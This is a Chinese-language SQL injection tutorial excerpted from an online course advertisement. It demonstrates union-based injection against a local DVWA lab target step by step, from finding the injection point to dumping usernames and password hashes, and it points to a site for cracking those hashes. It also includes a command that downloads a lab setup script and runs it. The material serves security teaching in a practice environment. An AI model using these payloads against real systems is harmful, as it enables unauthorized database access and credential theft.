web 漏洞入门之 —— SQL 注入教程
SQL 注入是最常见、最被人们熟知的 web 漏洞。根据百科的解释:所谓SQL注入,就是通过把SQL命令,插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
比如某个公司有一个员工管理系统,里面存储员工的许多信息,每个员工只要输入自己的工号就可查询自己相关信息。张三是这个公司的一个开发人员,他突发好奇的想输入李四的工号10001是否可以成功查询,结果他失败了,因为系统有工号和身份的互相校验。于是他在工号后面加上了一个' OR 'a'='a,没想到成功返回了数据,他成功获取到了他人的许多敏感信息。
这就是 SQL 注入攻击的典型场景,由于程序员在开发数据库中,没有对用户输入数据进行校验、转义、限制等处理,导致攻击者可以通过输入恶意字符串去获取数据库中的数据。先前的很多影视网站的 VIP 会员密码就是通过类似的方式泄漏的。
今天我们测试对一个有 SQL 注入漏洞的网站进行攻击。因为类似的渗透测试过程在没有经过对方允许的情况下,是属于违法的!所以我们为大家准备了实验环境和靶机,你可以拿它当小白鼠,点击阅读原文即可体验。
SQL 注入攻击步骤
通常来说,SQL 注入攻击可以分为以下 5 个步骤:
寻找注入点:指找到存在 SQL 注入的参数,SQL 注入大多发生在 GET 或 POST 请求的参数中,当然也有可能发生在其他地方,例如 UserAgent、Cookie 等
判断注入类型 / 数据库类型:SQL 注入按照不同的分类标准,可以分成不同的种类。
按照参数类型可分为两种:数字型和字符型。
根据数据库返回的结果,可分为回显注入、报错注入、盲注。
按照注入方法,还可以分为联合注入、堆叠注入、宽字节注入、延时注入等。
猜解数据库名:猜解后台数据库的库名
猜解数据表名:成功猜解到数据库名称后,进一步猜解某一个特定数据库中数据表的名称
猜解数据字段名:最后是某个特定数据库中特定数据表中的字段,因为获取到字段才能查询数据
使用SQL 注入进行爆库
我们先通过一个实验,让你更加清楚的理解 SQL 注入攻击的全过程,然后再针对「如何寻找注入点」和「如何判断注入类型」这两部分做详细的讲解。
首先,在终端中执行如下命令快速部署实验环境:
# 适用于 Ubuntu 20.04 4G VNC 环境
curl 'https://labfile.oss.aliyuncs.com/courses/3471/3471-sql-init-1.sh' > ~/3471-sql-init-1.sh;chmod +x ~/3471-sql-init-1.sh;./3471-sql-init-1.sh
然后打开桌面上的 Firefox 浏览器,访问以下网址 :
http://localhost/dvwasql
点击 create/Reset Database
创建数据库:
稍微等待几秒后,会自动跳转到登录界面,默认用户名为 admin
密码为 password
。
为了让我们更容易理解 SQL 注入的原理,所以先手动将 Security 级别调整为 low
,注意需要点击 Submit
使设置生效:
第一步:寻找注入点
点击左侧的 SQL injection
页面开始注入:
先输入 1 ,查看回显 (URL 中 ID=1,说明 php 页面通过 get 方法传递参数):
那实际上后台执行了什么样的 SQL 语句呢?点击 view source
查看源代码:
可以看到,实际执行的 SQL 语句是:
SELECT first_name, last_name FROM users WHERE user_id = '1';
在参数 id
后面加一个单引号试试:
可以看到,返回了数据库报错信息,说明此处存在 SQL 注入漏洞。
至于为什么能判断存在 SQL 注入,后文会细讲。
第二步:确定注入类型
我们使用最简单的「联合查询注入」来进行演示。
联合查询的语法如下:
SELECT column_name(s) FROM table1
UNION
SELECT column_name(s) FROM table2;
union 运算符可以将两个或两个以上 select 语句的查询结果集合合并成一个结果集合显示,即执行联合查询。
但当使用 union select 的时候,需要保证前后查询的列数相同,例如:
SELECT A, B FROM users WHERE user_id = '1' union select C, D;
Union 前半部分查询了 A、B 两个字段,Union 后半部分也只能查询 C、D 两个字段,否则就会报错。
但现在有一个问题:我们还不知道 Union 的前半部分查询的字段数是多少?
这个时候就需要用到 order by
来查询字段数了。在输入框中输入 1' order by 1#
,实际执行的 SQL 语句就会变成:
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#`;
# 按照 MySQL 语法,# 后面会被注释掉,使用这种方法屏蔽掉后面的单引号,避免语法错误
这条语句的意思是查询 users 表中 user_id 为 1 的数据并按第一字段排行。
输入 1' order by 1#
和 1' order by 2#
时都返回正常:
当输入 1' order by 3#
时,返回错误:
由此可知,users 表中只有两个字段,数据为两列。
知道字段数为 2 之后,接下来就可以使用 union select
联合查询继续获取信息。
输入以下进行查询:
1' union select version(),@@version_compile_os#
version()
获取当前数据库版本.@@version_compile_os
获取当前操作系统。
实际执行的 SQL 语句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select version(),@@version_compile_os#`;
通过上图返回信息,我们又成功获取到:
当前数据库版本为 :
10.5.8-MariaDB-1:10.5.8+maria~focal
当前操作系统为 :
debian-linux-gnu
第三步:查询数据库名
查询数据库名的方法非常简单,只需要执行以下语句进行查询即可 :
1' union select database(),user()#
database()
将会返回当前网站所使用的数据库名字.user()
将会返回执行当前查询的用户名.
实际执行的 SQL 语句是 :
SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user()#`;
通过上图返回信息,我们成功获取到:
当前网站使用数据库为
dvwa
当前执行查询用户名为
root@localhost
第四步:查询数据库表名
接下来我们尝试获取 dvwa 数据库中的表名。
information_schema
是 mySQL 自带的一张表,这张数据表保存了 MySQL 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。
我们输入以下语句进行查询:
1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#
实际执行的 SQL 语句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#`;
通过上图返回信息,我们可以知道以下信息:
dvwa 数据库有 2 个数据表
表名为 guestbook 和 users
第五步:猜解数据库字段名及爆库
接下来我们继续猜解数据库表中的字段名,因为需要知道字段名,才能查询数据库中存储的数据。
我们输入以下语句查询 users 表中的字段信息:
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
从输出结果可知,users 表中有 8 个字段,分别是 user_id,first_name,last_name,user,password,avatar,last_login,failed_login。
直接告诉我们,这些字段中最敏感的是 user,password 这两个字段,所以输入:1' union select user,password from users#
进行查询。
实际执行的 SQL 语句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#`;
可以看到成功爆出用户名、密码,密码采用 md5 进行加密,可以到 https://www.cmd5.com/
查询解密:
总结
通过实战的演练,相信大家已经理解了通过 SQL 注入来爆破数据库的方法和流程,最后我们再梳理一下比较重要的知识点:
SQL 注入产生的原因
SQL 注入攻击的分类
SQL 注入爆库攻击的 5 个步骤
上面的内容来自蓝桥云课《Web 漏洞实战:从入门到精通》课程,课程为大家提供了配套的实验环境和靶机,省去本地搭建环境和因法律问题而无法练习的苦恼。
除了 SQL 注入攻击,课程还详细介绍了 文件包含漏洞、 跨站脚本 (XSS) 漏洞、文件上传漏洞、命令注入漏洞、代码注入漏洞、目录遍历漏洞 的原理、技巧和实战流程,非常适合以下人群:
初级渗透测试工程师
初级安全服务工程师
对 Web 安全领域感兴趣的新手朋友
就读于《信息安全》专业的学生
课程地址:
https://www.lanqiao.cn/courses/3471
课程大纲:
课程展示
针对每一个 Web 漏洞,课程会从代码层面讲解漏洞产生的原因,帮助你更好的理解漏洞的本质:
每个章节均搭配完全在线的实战实验环境,省去自己本地搭建实验环境的烦恼:
每章节均包含详细的实验步骤,手把手带你完成实验:
还会讲解漏洞利用遇到限制时的绕过方法,满满的成就感:
课程地址:
https://www.lanqiao.cn/courses/3471
???????????? 点击文末的「阅读原文」,免费试学课程内容~
web 漏洞入门之 —— SQL 注入教程相关推荐
- web漏洞开始,sql注入
第十一天,web漏洞必懂知识点 这个图里面,右边的漏洞比左边的漏洞相对重要,因为在实战过程中,左边所产生的漏洞就比较少,我们学习网络安全呢就要做到他们的这些原理和危害. 比如sql注入漏洞是网站数据库 ...
- web安全入门之SQL注入-时间型盲注
SQL注入之时间型盲注 1.时间型盲注 时间型盲注条件极为苛刻,不管输入什么,WEB页面回显相同的结果,此时我们无法通过报错型注入以及布尔型盲注来爆数据,此时数据在交互完成以后目标网站没有正确和错误的 ...
- [ web 漏洞篇 ] 常见web漏洞总结之 SQL 注入总结
- 【转】基于SQL的Web系统安全防范——SQL注入漏洞
攻击研究及防范措施 SQL-Based Web System Security--Structured Query Language InjectionLeak Attack Study And De ...
- 基于pikachu漏洞平台的 --SQL注入攻击学习与总结
SQL注入攻击 基础知识 常见注释符号 使用示例 pikachu 漏洞联系平台 -- SQL注入 SQL注入攻击流程 注入点类型 数字型注入(POST) 字符型注入(GET) 搜索型注入 XX型注入 ...
- SQL 注入教程:通过示例学习
数据是信息系统最重要的组成部分之一.组织使用数据库驱动的 Web 应用程序从客户那里获取数据.SQL是结构化查询语言的首字母缩写.它用于检索和操作数据库中的数据. 什么是 SQL 注入? SQL 注入 ...
- 漏洞系列之——SQL注入
了解SQL注入 漏洞描述 漏洞等级 漏洞危害 漏洞检测方法 漏洞利用方法 漏洞修复方案 SQL注入靶场环境可以参考"热门靶场怕坑练习"的sqli-labs 漏洞描述 SQL注入是网 ...
- 【sql注入教程】SQL注入是什么?我们如何去玩转它
[sql注入教程]SQL注入是什么?我们如何去玩转它 本文转自:i春秋社区 SQL注入攻击是黑客攻击数据库最常见手段之一.简单讲,SQL注入攻击是黑客利用网站程序漏洞,通过提交精心构造的SQL语句 ...
- mysql注入漏洞检查_漏洞检测:SQL注入漏洞 WASC Threat Classification
1. 过滤用户输入的内容,检查用户输入的内容中是否有非法内容.如,|(竖线符号). & (& 符号).;(分号).$(美元符号).%(百分比符号).@(at 符号).'(单引 ...
最新文章
- com.mysql.jdbc.exceptions.jdbc4.CommunicationsException: Communications link failure 数据库报错
- 如何编写一个可升级的智能合约
- 教你如何成为一名区块链工程师!
- 变形金刚2_变形金刚(
- 企业不同时期该如何做股权布局?
- MAC编译OpenJDK8:clang: error: unknown argument: ‘-fpch-deps‘
- i5-8300h和i7-8750h 那个好
- python中私有属性无法访问的原理_python私有属性访问不到吗?
- 怎么将路由器设置成交换机
- 如何将微信服务号改成订阅号?
- 解决键盘模式(布局)的错误导致的部分键位失灵或异常(姑且这样描述问题吧)
- 病案归档管理系统_ER图_功能图_数据字典_数据库脚本
- Cesium专栏-空间分析之剖面分析(附源码下载)
- 清远通业(谁有 清远通业 请在跟帖中:(1) 留名 (2)留个电子邮件地址 (3)回答你分了几次红利)...
- 如何租用网站服务器,如何租用网站服务器有什么需要留心?
- 人工智能中的线性代数与矩阵论学习秘诀之精品课程
- opencv图像修补-inpaint函数
- 基于运放的波形发生器系统设计
- arcgis10.0及以上版本,使用arcpy加载在arctoolbox中批量添加同一图层
- java 3gpp转mp3_ffmpeg的mp3lame功能打开了,可以把音频流也转换出来了
热门文章
- 数据库导出数据模型图
- MATALAB信号处理——信号的变换(9)
- 大学生必读好书,少读一本都遗憾!
- Py打包的天坑!(no moudle named xxxx)
- 学习Machine Leaning In Action(二):kNN
- NoSuchMethodError异常解析
- MLR(mixed logistic regression)算法原理及实现
- 移动热点服务的属性此计算机,win10移动热点提示:我们无法设置移动热点怎么办_win10显示无法设置移动热点怎么办...
- Win10安装wordcloud(词云)的方法
- matlab程序语句,matlab程序if语句用法